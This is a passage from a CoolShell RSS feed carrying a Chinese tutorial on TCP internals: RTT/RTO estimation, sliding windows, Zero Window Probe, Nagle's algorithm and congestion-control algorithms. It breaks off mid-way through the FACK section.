href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" alt=\"50年前的登月程序和程序员有多硬核\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_title\">50年前的登月程序和程序员有多硬核</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/11170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/42-150x150.jpg\" alt=\"如何用最有创造力的方式输出42\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11170.html\" class=\"wp_rp_title\">如何用最有创造力的方式输出42</a></li><li ><a href=\"https://coolshell.cn/articles/10217.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/Work-Overtime-150x150.jpg\" alt=\"加班与效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10217.html\" class=\"wp_rp_title\">加班与效率</a></li><li ><a href=\"https://coolshell.cn/articles/8387.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/10/Learnable_Programming-150x150.jpg\" alt=\"Bret Victor &#8211; Learnable Programming\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8387.html\" class=\"wp_rp_title\">Bret Victor &#8211; Learnable Programming</a></li><li ><a href=\"https://coolshell.cn/articles/4951.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" alt=\"软件公司的两种管理方式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4951.html\" class=\"wp_rp_title\">软件公司的两种管理方式</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11656.html\">开发团队的效率</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11656.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>153</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>TCP 的那些事儿（下）</title>\n\t\t<link>https://coolshell.cn/articles/11609.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11609.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 28 May 2014 00:20:32 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[Congestion Avoidance]]></category>\n\t\t<category><![CDATA[Fast Recovery]]></category>\n\t\t<category><![CDATA[RTO]]></category>\n\t\t<category><![CDATA[RTT]]></category>\n\t\t<category><![CDATA[TCP]]></category>\n\t\t<category><![CDATA[Window]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11609</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这篇文章是下篇，所以如果你对TCP不熟悉的话，还请你先看看上篇《TCP的那些事儿（上）》 上篇中，我们介绍了TCP的协议头、状态机、数据重传中的东西。但是TCP...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11609.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11609.html\">TCP 的那些事儿（下）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-11641\" src=\"https://coolshell.cn/wp-content/uploads/2014/05/xin_2001040422167711230318.jpg\" alt=\"\" width=\"360\" height=\"244\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/05/xin_2001040422167711230318.jpg 400w, https://coolshell.cn/wp-content/uploads/2014/05/xin_2001040422167711230318-300x203.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/05/xin_2001040422167711230318-399x270.jpg 399w\" sizes=\"(max-width: 360px) 100vw, 360px\" />这篇文章是下篇，所以如果你对TCP不熟悉的话，还请你先看看上篇《<a href=\"https://coolshell.cn/articles/11564.html\" target=\"_blank\">TCP的那些事儿（上）</a>》 上篇中，我们介绍了TCP的协议头、状态机、数据重传中的东西。但是TCP要解决一个很大的事，那就是要在一个网络根据不同的情况来动态调整自己的发包的速度，小则让自己的连接更稳定，大则让整个网络更稳定。在你阅读下篇之前，你需要做好准备，本篇文章有好些算法和策略，可能会引发你的各种思考，让你的大脑分配很多内存和计算资源，所以，不适合在厕所中阅读。</p>\n<h4>TCP的RTT算法</h4>\n<p>从前面的TCP重传机制我们知道Timeout的设置对于重传非常重要。</p>\n<ul>\n<li>设长了，重发就慢，丢了老半天才重发，没有效率，性能差；</li>\n<li>设短了，会导致可能并没有丢就重发。于是重发的就快，会增加网络拥塞，导致更多的超时，更多的超时导致更多的重发。</li>\n</ul>\n<p>而且，这个超时时间在不同的网络的情况下，根本没有办法设置一个死的值。只能动态地设置。 为了动态地设置，TCP引入了RTT——Round Trip Time，也就是一个数据包从发出去到回来的时间。这样发送端就大约知道需要多少的时间，从而可以方便地设置Timeout——RTO（Retransmission TimeOut），以让我们的重传机制更高效。 听起来似乎很简单，好像就是在发送端发包时记下t0，然后接收端再把这个ack回来时再记一个t1，于是RTT = t1 &#8211; t0。没那么简单，这只是一个采样，不能代表普遍情况。</p>\n<p><span id=\"more-11609\"></span></p>\n<h5>经典算法</h5>\n<p><a href=\"http://tools.ietf.org/html/rfc793\" target=\"_blank\">RFC793</a> 中定义的经典算法是这样的：</p>\n<p style=\"padding-left: 30px;\">1）首先，先采样RTT，记下最近好几次的RTT值。</p>\n<p style=\"padding-left: 30px;\">2）然后做平滑计算SRTT（ Smoothed RTT）。公式为：（其中的 α 取值在0.8 到 0.9之间，这个算法英文叫Exponential weighted moving average，中文叫：加权移动平均）</p>\n<p style=\"text-align: center;\"><strong>SRTT = ( α * SRTT ) + ((1- α) * RTT)</strong></p>\n<p style=\"padding-left: 30px;\">3）开始计算RTO。公式如下：</p>\n<p style=\"text-align: center;\"><strong>RTO = min [ UBOUND,  max [ LBOUND,   (β * SRTT) ]  ]</strong></p>\n<p>其中：</p>\n<ul>\n<li>UBOUND是最大的timeout时间，上限值</li>\n<li>LBOUND是最小的timeout时间，下限值</li>\n<li>β 值一般在1.3到2.0之间。</li>\n</ul>\n<h5>Karn / Partridge 算法</h5>\n<p>但是上面的这个算法在重传的时候会出有一个终极问题——你是用第一次发数据的时间和ack回来的时间做RTT样本值，还是用重传的时间和ACK回来的时间做RTT样本值？</p>\n<p>这个问题无论你选那头都是按下葫芦起了瓢。 如下图所示：</p>\n<ul>\n<li>情况（a）是ack没回来，所以重传。如果你计算第一次发送和ACK的时间，那么，明显算大了。</li>\n<li>情况（b）是ack回来慢了，但是导致了重传，但刚重传不一会儿，之前ACK就回来了。如果你是算重传的时间和ACK回来的时间的差，就会算短了。</li>\n</ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-11605\" src=\"https://coolshell.cn/wp-content/uploads/2014/05/Karn-Partridge-Algorithm.jpg\" alt=\"\" width=\"545\" height=\"243\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/05/Karn-Partridge-Algorithm.jpg 745w, https://coolshell.cn/wp-content/uploads/2014/05/Karn-Partridge-Algorithm-300x133.jpg 300w\" sizes=\"(max-width: 545px) 100vw, 545px\" /></p>\n<p>所以1987年的时候，搞了一个叫<a href=\"http://en.wikipedia.org/wiki/Karn's_Algorithm\" target=\"_blank\">Karn / Partridge Algorithm</a>，这个算法的最大特点是——<strong>忽略重传，不把重传的RTT做采样</strong>（你看，你不需要去解决不存在的问题）。</p>\n<p>但是，这样一来，又会引发一个大BUG——<strong>如果在某一时间，网络闪动，突然变慢了，产生了比较大的延时，这个延时导致要重转所有的包（因为之前的RTO很小），于是，因为重转的不算，所以，RTO就不会被更新，这是一个灾难</strong>。 于是Karn算法用了一个取巧的方式——只要一发生重传，就对现有的RTO值翻倍（这就是所谓的 Exponential backoff），很明显，这种死规矩对于一个需要估计比较准确的RTT也不靠谱。</p>\n<h5>Jacobson / Karels 算法</h5>\n<p>前面两种算法用的都是“加权移动平均”，这种方法最大的毛病就是如果RTT有一个大的波动的话，很难被发现，因为被平滑掉了。所以，1988年，又有人推出来了一个新的算法，这个算法叫Jacobson / Karels Algorithm（参看<a href=\"http://tools.ietf.org/html/rfc6298\" target=\"_blank\">RFC6289</a>）。这个算法引入了最新的RTT的采样和平滑过的SRTT的差距做因子来计算。 公式如下：（其中的DevRTT是Deviation RTT的意思）</p>\n<p style=\"padding-left: 30px;\"><b>SRTT</b><b> = S</b><b>RTT</b><b> + α</b><b> </b><b>(</b><b>RTT</b><b> – S</b><b>RTT</b><b>)  </b>—— 计算平滑RTT</p>\n<p style=\"padding-left: 30px;\"><b>DevRTT</b><b> = (1-β</b><b>)*</b><b>DevRTT</b><b> + β</b><b>*(|</b><b>RTT-SRTT</b><b>|) </b>——计算平滑RTT和真实的差距（加权移动平均）</p>\n<p style=\"padding-left: 30px;\"><strong>RTO= µ * SRTT + ∂ *DevRTT </strong>—— 神一样的公式</p>\n<p>（其中：在Linux下，α = 0.125，β = 0.25， μ = 1，∂ = 4 ——这就是算法中的“调得一手好参数”，nobody knows why, it just works&#8230;） 最后的这个算法在被用在今天的TCP协议中（Linux的源代码在：<a href=\"http://lxr.free-electrons.com/source/net/ipv4/tcp_input.c?v=2.6.32#L609\" target=\"_blank\">tcp_rtt_estimator</a>）。</p>\n<h4>TCP滑动窗口</h4>\n<p>需要说明一下，如果你不了解TCP的滑动窗口这个事，你等于不了解TCP协议。我们都知道，<strong>TCP必需要解决的可靠传输以及包乱序（reordering）的问题</strong>，所以，TCP必需要知道网络实际的数据处理带宽或是数据处理速度，这样才不会引起网络拥塞，导致丢包。</p>\n<p>所以，TCP引入了一些技术和设计来做网络流控，Sliding Window是其中一个技术。 前面我们说过，<strong>TCP头里有一个字段叫Window，又叫Advertised-Window，这个字段是接收端告诉发送端自己还有多少缓冲区可以接收数据</strong>。<strong>于是发送端就可以根据这个接收端的处理能力来发送数据，而不会导致接收端处理不过来</strong>。 为了说明滑动窗口，我们需要先看一下TCP缓冲区的一些数据结构：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-11594\" src=\"https://coolshell.cn/wp-content/uploads/2014/05/sliding_window.jpg\" alt=\"\" width=\"450\" height=\"179\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/05/sliding_window.jpg 906w, https://coolshell.cn/wp-content/uploads/2014/05/sliding_window-300x119.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/05/sliding_window-900x358.jpg 900w\" sizes=\"(max-width: 450px) 100vw, 450px\" /></p>\n<p>上图中，我们可以看到：</p>\n<ul>\n<li>接收端LastByteRead指向了TCP缓冲区中读到的位置，NextByteExpected指向的地方是收到的连续包的最后一个位置，LastByteRcved指向的是收到的包的最后一个位置，我们可以看到中间有些数据还没有到达，所以有数据空白区。</li>\n</ul>\n<ul>\n<li>发送端的LastByteAcked指向了被接收端Ack过的位置（表示成功发送确认），LastByteSent表示发出去了，但还没有收到成功确认的Ack，LastByteWritten指向的是上层应用正在写的地方。</li>\n</ul>\n<p>于是：</p>\n<ul>\n<li>接收端在给发送端回ACK中会汇报自己的AdvertisedWindow = MaxRcvBuffer &#8211; LastByteRcvd &#8211; 1;</li>\n</ul>\n<ul>\n<li>而发送方会根据这个窗口来控制发送数据的大小，以保证接收方可以处理。</li>\n</ul>\n<p>下面我们来看一下发送方的滑动窗口示意图：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11596\" src=\"https://coolshell.cn/wp-content/uploads/2014/05/tcpswwindows.png\" alt=\"\" width=\"660\" height=\"270\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/05/tcpswwindows.png 660w, https://coolshell.cn/wp-content/uploads/2014/05/tcpswwindows-300x122.png 300w\" sizes=\"(max-width: 660px) 100vw, 660px\" /></p>\n<p style=\"text-align: center;\">（<a href=\"http://www.tcpipguide.com/free/t_TCPSlidingWindowAcknowledgmentSystemForDataTranspo-6.htm\" target=\"_blank\">图片来源</a>）</p>\n<p>上图中分成了四个部分，分别是：（其中那个黑模型就是滑动窗口）</p>\n<ul>\n<li>#1已收到ack确认的数据。</li>\n<li>#2发还没收到ack的。</li>\n<li>#3在窗口中还没有发出的（接收方还有空间）。</li>\n<li>#4窗口以外的数据（接收方没空间）</li>\n</ul>\n<p>下面是个滑动后的示意图（收到36的ack，并发出了46-51的字节）：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11597\" src=\"https://coolshell.cn/wp-content/uploads/2014/05/tcpswslide.png\" alt=\"\" width=\"660\" height=\"210\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/05/tcpswslide.png 660w, https://coolshell.cn/wp-content/uploads/2014/05/tcpswslide-300x95.png 300w\" sizes=\"(max-width: 660px) 100vw, 660px\" /></p>\n<p>下面我们来看一个接受端控制发送端的图示：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11617\" src=\"https://coolshell.cn/wp-content/uploads/2014/05/tcpswflow.png\" alt=\"\" width=\"666\" height=\"836\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/05/tcpswflow.png 666w, https://coolshell.cn/wp-content/uploads/2014/05/tcpswflow-238x300.png 238w\" sizes=\"(max-width: 666px) 100vw, 666px\" /></p>\n<p style=\"text-align: center;\">（<a href=\"http://www.tcpipguide.com/free/t_TCPWindowSizeAdjustmentandFlowControl-2.htm\" target=\"_blank\">图片来源</a>）</p>\n<h5 style=\"text-align: left;\">Zero Window</h5>\n<p style=\"text-align: left;\">上图，我们可以看到一个处理缓慢的Server（接收端）是怎么把Client（发送端）的TCP Sliding Window给降成0的。此时，你一定会问，如果Window变成0了，TCP会怎么样？是不是发送端就不发数据了？是的，发送端就不发数据了，你可以想像成“Window Closed”，那你一定还会问，如果发送端不发数据了，接收方一会儿Window size 可用了，怎么通知发送端呢？</p>\n<p style=\"text-align: left;\">解决这个问题，TCP使用了Zero Window Probe技术，缩写为ZWP，也就是说，发送端在窗口变成0后，会发ZWP的包给接收方，让接收方来ack他的Window尺寸，一般这个值会设置成3次，第次大约30-60秒（不同的实现可能会不一样）。如果3次过后还是0的话，有的TCP实现就会发RST把链接断了。</p>\n<p style=\"text-align: left;\"><strong>注意</strong>：只要有等待的地方都可能出现DDoS攻击，Zero Window也不例外，一些攻击者会在和HTTP建好链发完GET请求后，就把Window设置为0，然后服务端就只能等待进行ZWP，于是攻击者会并发大量的这样的请求，把服务器端的资源耗尽。（关于这方面的攻击，大家可以移步看一下<a href=\"http://en.wikipedia.org/wiki/Sockstress\" target=\"_blank\">Wikipedia的SockStress词条</a>）</p>\n<p style=\"text-align: left;\">另外，Wireshark中，你可以使用tcp.analysis.zero_window来过滤包，然后使用右键菜单里的follow TCP stream，你可以看到ZeroWindowProbe及ZeroWindowProbeAck的包。</p>\n<h5 style=\"text-align: left;\">Silly Window Syndrome</h5>\n<p>Silly Window Syndrome翻译成中文就是“糊涂窗口综合症”。正如你上面看到的一样，如果我们的接收方太忙了，来不及取走Receive Windows里的数据，那么，就会导致发送方越来越小。到最后，如果接收方腾出几个字节并告诉发送方现在有几个字节的window，而我们的发送方会义无反顾地发送这几个字节。</p>\n<p>要知道，我们的TCP+IP头有40个字节，为了几个字节，要达上这么大的开销，这太不经济了。</p>\n<p>另外，你需要知道网络上有个MTU，对于以太网来说，MTU是1500字节，除去TCP+IP头的40个字节，真正的数据传输可以有1460，这就是所谓的MSS（Max Segment Size）注意，TCP的RFC定义这个MSS的默认值是536，这是因为<span style=\"color: #252525;\"> </span><span class=\"reference-text\" style=\"color: #252525;\"><a class=\"external mw-magiclink-rfc\" style=\"color: #663366;\" href=\"http://tools.ietf.org/html/rfc791\" rel=\"nofollow\">RFC 791</a>里说了任何一个</span>IP设备都得最少接收576尺寸的大小（实际上来说576是拨号的网络的MTU，而576减去IP头的20个字节就是536）。</p>\n<p><strong>如果你的网络包可以塞满MTU，那么你可以用满整个带宽，如果不能，那么你就会浪费带宽</strong>。（大于MTU的包有两种结局，一种是直接被丢了，另一种是会被重新分块打包发送） 你可以想像成一个MTU就相当于一个飞机的最多可以装的人，如果这飞机里满载的话，带宽最高，如果一个飞机只运一个人的话，无疑成本增加了，也而相当二。</p>\n<p>所以，<strong>Silly Windows Syndrome这个现像就像是你本来可以坐200人的飞机里只做了一两个人</strong>。 要解决这个问题也不难，就是避免对小的window size做出响应，直到有足够大的window size再响应，这个思路可以同时实现在sender和receiver两端。</p>\n<ul>\n<li>如果这个问题是由Receiver端引起的，那么就会使用 David D Clark&#8217;s 方案。在receiver端，如果收到的数据导致window size小于某个值，可以直接ack(0)回sender，这样就把window给关闭了，也阻止了sender再发数据过来，等到receiver端处理了一些数据后windows size 大于等于了MSS，或者，receiver buffer有一半为空，就可以把window打开让send 发送数据过来。</li>\n</ul>\n<ul>\n<li>如果这个问题是由Sender端引起的，那么就会使用著名的<span style=\"color: #252525;\"> </span><a style=\"color: #0b0080;\" title=\"Nagle's algorithm\" href=\"http://en.wikipedia.org/wiki/Nagle%27s_algorithm\" target=\"_blank\">Nagle&#8217;s algorithm</a>。这个算法的思路也是延时处理，他有两个主要的条件：1）要等到 Window Size&gt;=MSS 或是 Data Size &gt;=MSS，2）收到之前发送数据的ack回包，他才会发数据，否则就是在攒数据。</li>\n</ul>\n<p>另外，Nagle算法默认是打开的，所以，对于一些需要小包场景的程序——<strong>比如像telnet或ssh这样的交互性比较强的程序，你需要关闭这个算法</strong>。你可以在Socket设置TCP_NODELAY选项来关闭这个算法（关闭Nagle算法没有全局参数，需要根据每个应用自己的特点来关闭）</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">setsockopt(sock_fd, IPPROTO_TCP, TCP_NODELAY, (char *)&amp;value,sizeof(int));</code></p>\n<p>另外，网上有些文章说<span style=\"color: #000000;\">TCP_CORK的socket option是也关闭Nagle算法，这不对。<strong>TCP_CORK其实是更新激进的Nagle算汉，完全禁止小包发送，而Nagle算法没有禁止小包发送，只是禁止了大量的小包发送</strong>。最好不要两个选项都设置。</span></p>\n<h4>TCP的拥塞处理 &#8211; Congestion Handling</h4>\n<p>上面我们知道了，TCP通过Sliding Window来做流控（Flow Control），但是TCP觉得这还不够，因为Sliding Window需要依赖于连接的发送端和接收端，其并不知道网络中间发生了什么。TCP的设计者觉得，一个伟大而牛逼的协议仅仅做到流控并不够，因为流控只是网络模型4层以上的事，TCP的还应该更聪明地知道整个网络上的事。</p>\n<p>具体一点，我们知道TCP通过一个timer采样了RTT并计算RTO，但是，<strong>如果网络上的延时突然增加，那么，TCP对这个事做出的应对只有重传数据，但是，重传会导致网络的负担更重，于是会导致更大的延迟以及更多的丢包，于是，这个情况就会进入恶性循环被不断地放大。试想一下，如果一个网络内有成千上万的TCP连接都这么行事，那么马上就会形成“网络风暴”，TCP这个协议就会拖垮整个网络。</strong>这是一个灾难。</p>\n<p>所以，TCP不能忽略网络上发生的事情，而无脑地一个劲地重发数据，对网络造成更大的伤害。对此TCP的设计理念是：<span style=\"color: #cc0000;\"><strong>TCP不是一个自私的协议，当拥塞发生的时候，要做自我牺牲。就像交通阻塞一样，每个车都应该把路让出来，而不要再去抢路了。</strong></span></p>\n<p>关于拥塞控制的论文请参看《<a href=\"http://ee.lbl.gov/papers/congavoid.pdf\" target=\"_blank\">Congestion Avoidance and Control</a>》(PDF)</p>\n<p>拥塞控制主要是四个算法：<strong>1）慢启动</strong>，<strong>2）拥塞避免</strong>，<strong>3）拥塞发生</strong>，<strong>4）快速恢复</strong>。这四个算法不是一天都搞出来的，这个四算法的发展经历了很多时间，到今天都还在优化中。 备注:</p>\n<ul>\n<li>1988年，TCP-Tahoe 提出了1）慢启动，2）拥塞避免，3）拥塞发生时的快速重传</li>\n<li>1990年，TCP Reno 在Tahoe的基础上增加了4）快速恢复</li>\n</ul>\n<h5>慢热启动算法 &#8211; Slow Start</h5>\n<p>首先，我们来看一下TCP的慢热启动。慢启动的意思是，刚刚加入网络的连接，一点一点地提速，不要一上来就像那些特权车一样霸道地把路占满。新同学上高速还是要慢一点，不要把已经在高速上的秩序给搞乱了。</p>\n<p>慢启动的算法如下(cwnd全称Congestion Window)：</p>\n<p style=\"padding-left: 30px;\">1）连接建好的开始先初始化cwnd = 1，表明可以传一个MSS大小的数据。</p>\n<p style=\"padding-left: 30px;\">2）每当收到一个ACK，cwnd++; 呈线性上升</p>\n<p style=\"padding-left: 30px;\">3）每当过了一个RTT，cwnd = cwnd*2; 呈指数让升</p>\n<p style=\"padding-left: 30px;\">4）还有一个ssthresh（slow start threshold），是一个上限，当cwnd &gt;= ssthresh时，就会进入“拥塞避免算法”（后面会说这个算法）</p>\n<p>所以，我们可以看到，如果网速很快的话，ACK也会返回得快，RTT也会短，那么，这个慢启动就一点也不慢。下图说明了这个过程。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11619\" src=\"https://coolshell.cn/wp-content/uploads/2014/05/tcp.slow_.start_.jpg\" alt=\"\" width=\"662\" height=\"388\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/05/tcp.slow_.start_.jpg 662w, https://coolshell.cn/wp-content/uploads/2014/05/tcp.slow_.start_-300x175.jpg 300w\" sizes=\"(max-width: 662px) 100vw, 662px\" /></p>\n<p>这里，我需要提一下的是一篇Google的论文<span style=\"color: #000000;\">《<a href=\"http://static.googleusercontent.com/media/research.google.com/zh-CN//pubs/archive/36640.pdf\" target=\"_blank\">An Argument for Increasing TCP&#8217;s Initial Congestion Window</a>》Linux 3.0后采用了这篇论文的建议——把cwnd 初始化成了 10个MSS。</span> <span style=\"color: #000000;\">而Linux 3.0以前，比如2.6，Linux采用了<a href=\"http://www.rfc-editor.org/rfc/rfc3390.txt\" target=\"_blank\">RFC3390</a>，cwnd是跟MSS的值来变的，如果MSS&lt; 1095，则cwnd = 4；如果MSS&gt;2190，则cwnd=2；其它情况下，则是3。</span></p>\n<h5> 拥塞避免算法 &#8211; Congestion Avoidance</h5>\n<p>前面说过，还有一个ssthresh（slow start threshold），是一个上限，当cwnd &gt;= ssthresh时，就会进入“拥塞避免算法”。一般来说ssthresh的值是65535，单位是字节，当cwnd达到这个值时后，算法如下：</p>\n<p style=\"padding-left: 30px;\">1）收到一个ACK时，cwnd = cwnd + 1/cwnd</p>\n<p style=\"padding-left: 30px;\">2）当每过一个RTT时，cwnd = cwnd + 1</p>\n<p>这样就可以避免增长过快导致网络拥塞，慢慢的增加调整到网络的最佳值。很明显，是一个线性上升的算法。</p>\n<h5>拥塞状态时的算法</h5>\n<p>前面我们说过，当丢包的时候，会有两种情况：</p>\n<p style=\"padding-left: 30px;\">1）等到RTO超时，重传数据包。TCP认为这种情况太糟糕，反应也很强烈。</p>\n<ul>\n<ul>\n<li>sshthresh =  cwnd /2</li>\n<li>cwnd 重置为 1</li>\n<li>进入慢启动过程</li>\n</ul>\n</ul>\n<p style=\"padding-left: 30px;\">2）Fast Retransmit算法，也就是在收到3个duplicate ACK时就开启重传，而不用等到RTO超时。</p>\n<ul>\n<ul>\n<li>TCP Tahoe的实现和RTO超时一样。</li>\n</ul>\n</ul>\n<ul>\n<ul>\n<li>TCP Reno的实现是：\n<ul>\n<li>cwnd = cwnd /2</li>\n<li>sshthresh = cwnd</li>\n<li>进入快速恢复算法——Fast Recovery</li>\n</ul>\n</li>\n</ul>\n</ul>\n<p>上面我们可以看到RTO超时后，sshthresh会变成cwnd的一半，这意味着，如果cwnd&lt;=sshthresh时出现的丢包，那么TCP的sshthresh就会减了一半，然后等cwnd又很快地以指数级增涨爬到这个地方时，就会成慢慢的线性增涨。我们可以看到，TCP是怎么通过这种强烈地震荡快速而小心得找到网站流量的平衡点的。</p>\n<h5>快速恢复算法 &#8211; Fast Recovery</h5>\n<p><span style=\"text-decoration: underline;\"><strong>TCP Reno</strong></span></p>\n<p><span style=\"color: #000000;\">这个算法定义在</span><a title=\"&quot;TCP Congestion Control&quot;\" href=\"http://tools.ietf.org/html/rfc5681\">RFC5681</a>。快速重传和快速恢复算法一般同时使用。快速恢复算法是认为，你还有3个Duplicated Acks说明网络也不那么糟糕，所以没有必要像RTO超时那么强烈。 <span style=\"color: #000000;\">注意，正如前面所说，进入Fast Recovery之前，cwnd 和 sshthresh已被更新：</span></p>\n<ul>\n<li>cwnd = cwnd /2</li>\n<li>sshthresh = cwnd</li>\n</ul>\n<p><span style=\"color: #000000;\">然后，真正的Fast Recovery算法如下：</span></p>\n<ul>\n<li>cwnd = sshthresh  + 3 * MSS （3的意思是确认有3个数据包被收到了）</li>\n<li>重传Duplicated ACKs指定的数据包</li>\n<li>如果再收到 duplicated Acks，那么cwnd = cwnd +1</li>\n<li>如果收到了新的Ack，那么，cwnd = sshthresh ，然后就进入了拥塞避免的算法了。</li>\n</ul>\n<p>如果你仔细思考一下上面的这个算法，你就会知道，<strong>上面这个算法也有问题，那就是——它依赖于3个重复的Acks</strong>。注意，3个重复的Acks并不代表只丢了一个数据包，很有可能是丢了好多包。但这个算法只会重传一个，而剩下的那些包只能等到RTO超时，于是，进入了恶梦模式——超时一个窗口就减半一下，多个超时会超成TCP的传输速度呈级数下降，而且也不会触发Fast Recovery算法了。</p>\n<p>通常来说，正如我们前面所说的，SACK或D-SACK的方法可以让Fast Recovery或Sender在做决定时更聪明一些，但是并不是所有的TCP的实现都支持SACK（SACK需要两端都支持），所以，需要一个没有SACK的解决方案。而通过SACK进行拥塞控制的算法是FACK（后面会讲）</p>\n<p><span style=\"text-decoration: underline;\"><strong>TCP New Reno</strong></span></p>\n<p><span style=\"color: #252525;\">于是，1995年，TCP New Reno（参见 </span><a class=\"external mw-magiclink-rfc\" style=\"color: #663366;\" href=\"http://tools.ietf.org/html/rfc6582\" rel=\"nofollow\">RFC 6582</a> ）算法提出来，主要就是在没有SACK的支持下改进Fast Recovery算法的——</p>\n<ul>\n<li>当sender这边收到了3个Duplicated Acks，进入Fast Retransimit模式，开发重传重复Acks指示的那个包。如果只有这一个包丢了，那么，重传这个包后回来的Ack会把整个已经被sender传输出去的数据ack回来。如果没有的话，说明有多个包丢了。我们叫这个ACK为Partial ACK。</li>\n</ul>\n<ul>\n<li>一旦Sender这边发现了Partial ACK出现，那么，sender就可以推理出来有多个包被丢了，于是乎继续重传sliding window里未被ack的第一个包。直到再也收不到了Partial Ack，才真正结束Fast Recovery这个过程</li>\n</ul>\n<p>我们可以看到，这个“Fast Recovery的变更”是一个非常激进的玩法，他同时延长了Fast Retransmit和Fast Recovery的过程。</p>\n<h5>算法示意图</h5>\n<p>下面我们来看一个简单的图示以同时看一下上面的各种算法的样子：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-11621\" src=\"https://coolshell.cn/wp-content/uploads/2014/05/tcp.fr_-1024x359.jpg\" alt=\"\" width=\"680\" height=\"239\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/05/tcp.fr_-1024x359.jpg 1024w, https://coolshell.cn/wp-content/uploads/2014/05/tcp.fr_-300x105.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/05/tcp.fr_-900x315.jpg 900w, https://coolshell.cn/wp-content/uploads/2014/05/tcp.fr_.jpg 1410w\" sizes=\"(max-width: 680px) 100vw, 680px\" /></p>\n<p>&nbsp;</p>\n<h5>FACK算法</h5>\n<p>FACK全称Forward Acknowledgment 算法，论文地址在这里（PDF）<a href=\"http://conferences.sigcomm.org/sigcomm/1996/papers/mathis.pdf\" target=\"_blank\">Forward Acknowledgement: Refining TCP Congestion Control</a> 这个算法是其于SACK的，前面我们说过SACK是使用了TCP扩展字段Ack了有哪些数据收到，哪些数据没有收到，他比Fast Retransmit的3 个duplicated acks好处在于，前者只知道有包丢了，不知道是一个还是多个，而SACK可以准确的知道有哪些包丢了。 所以，SACK可以让发送端这边在重传过程中，把那些丢掉的包重传，而不是一个一个的传，但这样的一来，如果重传的包数据比较多的话，又会导致本来就很忙的网络就更忙了。所以，FACK用来做重传过程中的拥塞流控。</p>\n<ul>\n<li>这个算法会把SACK中最大的Sequence Number 保存在<strong>snd.fack</strong>这个变量中，snd.fack的更新由ack带秋，如果网络一切安好则和snd.una一样（snd.una就是还没有收到ack的地方，也就是前面sliding window里的category #2的第一个地方）</li>\n</ul>\n<ul>\n<li>然后定义一个<strong>awnd = snd.nxt &#8211; 